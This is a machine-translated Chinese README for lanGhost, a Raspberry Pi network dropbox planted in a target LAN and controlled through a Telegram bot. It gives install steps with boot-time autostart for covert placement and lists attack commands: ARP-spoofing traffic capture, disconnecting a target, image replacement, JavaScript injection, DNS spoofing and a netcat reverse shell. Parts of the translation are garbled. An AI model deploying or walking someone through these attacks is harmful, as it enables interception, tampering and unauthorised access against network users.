Langhost

配x警告！该项目不再维护，也可能无法正常工作。

LAN Dropbox聊天机器人可以通过电报控制

特征：

安装：

警告：

Langhost是为Raspberry PI （ RPBIAN / KALI的RPI ）设计的。在其他/桌面发行版上运行它可能会引起问题，并且可能无法通过除外。

您将需要一个带有新鲜Raspbian/kali在SD卡上的Raspberry Pi ，因为您不希望在后台运行其他任何东西。

启动PI，获得SSH销售或连接监视器和键盘，然后输入以下命令：

 $ sudo apt update && sudo apt install python3 python3-pip
$ git clone https://github.com/xdavidhu/lanGhost
$ cd lanGhost
$ sudo ./setup.py

在运行设置脚本时，请阅读问题/消息！

步骤1/4- setup.py

 [+] Please enter the name of the network interface connected/will
be connected to the target LAN. Default wired interface is 'eth0',
and the default wireless interface is 'wlan0' on most systems, but
you can check it in a different terminal with the 'ifconfig' command.

步骤2/4- setup.py

 [+] Please create a Telegram API key by messaging @BotFather on Telegram
with the command '/newbot'.

After this, @BotFather will ask you to choose a name for your bot.
This can be anything you want.

Lastly, @BotFather will ask you for a username for your bot. You have
to choose a unique username here which ends with 'bot'. For
example: xdavidbot. Make note of this username, since later
you will have to search for this to find your bot, which lanGhost
will be running on.

After you send your username of choise to @BotFather, you will recieve
your API key.

步骤3/4- setup.py

 [+] Now for lanGhost to only allow access to you, you need to verify yourself.

Send the verification code below TO THE BOT you just created. Just search for your
bot's @username (what you sent to @BotFather) to find it.

[+] Verification code to send: ******

步骤4/4- setup.py

 [+] Do you want lanGhost to start on boot? This option is necessary if you are using
this device as a dropbox, because when you are going to drop this device into a
network, you will not have the chanse to start lanGhost remotely! (autostart works
by adding a new cron '@reboot' entry)

如果您准备好设置，请重新启动Pi，Langhost将开始直接！

用法：

警告：

不建议在大于 /24的网络上使用langhost，因为扫描将花费太长时间。

Langhost并不安静。任何监视流量的人都可以看到ARP数据包！

将其放入网络：

如果您在step 4/4 (autostart)中选择了yes ，则PI已完全设置用于丢弃。 Langhost应该启动启动，并在电报上向您发送文字： lanGhost started! ? 。

确保首先在实验室中尝试一下，并测试Langhost是否响应您的消息！

如果您都设置了所有设置，只需通过将以太网电缆插入PI并通过Micro USB连接电源，就可以将其连接到目标网络，您就可以使用了！

（Langhost也可以在WiFi上工作，但是您需要设置wpa_supplicant才能自动连接到网络）

可用命令：

 /scan - Scan LAN network
/scanip [TARGET-IP] - Scan a specific IP address.
/kill [TARGET-IP] - Stop the target's network connection.
/mitm [TARGET-IP] - Capture HTTP/DNS traffic from target.
/replaceimg [TARGET-IP] - Replace HTTP images requested by target.
/injectjs [TARGET-IP] [JS-FILE-URL] - Inject JavaScript into HTTP pages requested by target.
/spoofdns [TARGET-IP] [DOMAIN] [FAKE-IP] - Spoof DNS records for target.
/attacks - View currently running attacks.
/stop [ATTACK-ID] - Stop a currently running attack.
/restart - Restart lanGhost.
/reversesh [TARGET-IP] [PORT] - Create a netcat reverse shell to target.
/help - Display the help menu.
/ping - Pong.

攻击系统：

您可以使用以下命令之一开始攻击： /kill, /mitm, /replaceimg, /injectjs, /spoofdns

ATER您有一个或多个攻击，您可以使用/attack命令获取包含ATTACK-ID的列表。

停止攻击类型/stop [ATTACK-ID] 。

反向外壳：

警告：

/reversesh仅建立一个未加密的NetCat TCP连接，并且可以监视所有流量！仅将其用于紧急修复或在必要时设置加密的反向连接。

/reversesh命令是在无法从外部访问的情况下在PI上获得反向外壳。

要使用/reversesh命令，您需要让服务器侦听外壳。

NetCat命令在您的服务器上启动侦听器：

 $ nc -l 0.0.0.0 [PORT]

电报命令：

 /reversesh [IP-of-your-listening-server] [PORT]

攻击：

• /kill停止目标的互联网连接。
• /mitm从目标捕获HTTP和DNS流量，并将其发送到短信中。
• /replaceimg IMG-将目标的HTTP图像替换为您发送到机器人的图片。
• /injectjs J-将JavaScript注入目标的每个HTTP HTML响应中。您需要在服务器上托管JS文件，并将URL作为参数。
• /spoofdns欺骗目标的DNS响应。

所有攻击都使用ARP欺骗！

扫描：

• /scan - 扫描本地网络并在线返回主机。使用nmap -sn扫描发现主机。
• /scanip扫描IP地址以获取开放端口和其他信息。使用nmap -sS扫描。

通知：

每次新设备连接/离开网络时，您都会收到一条消息。

免责声明：

我对您对此程序的任何事情都不负责，因此请仅出于良好和教育目的使用它。

合法的：

DavidSchütz的版权（C）2018。保留一些权利。

Langhost遵循MIT许可证的条款，遵循许可证文件中所述的所有澄清。您也可以继续向我发送电子邮件至Xdavid {at} ProtonMail {dot} com。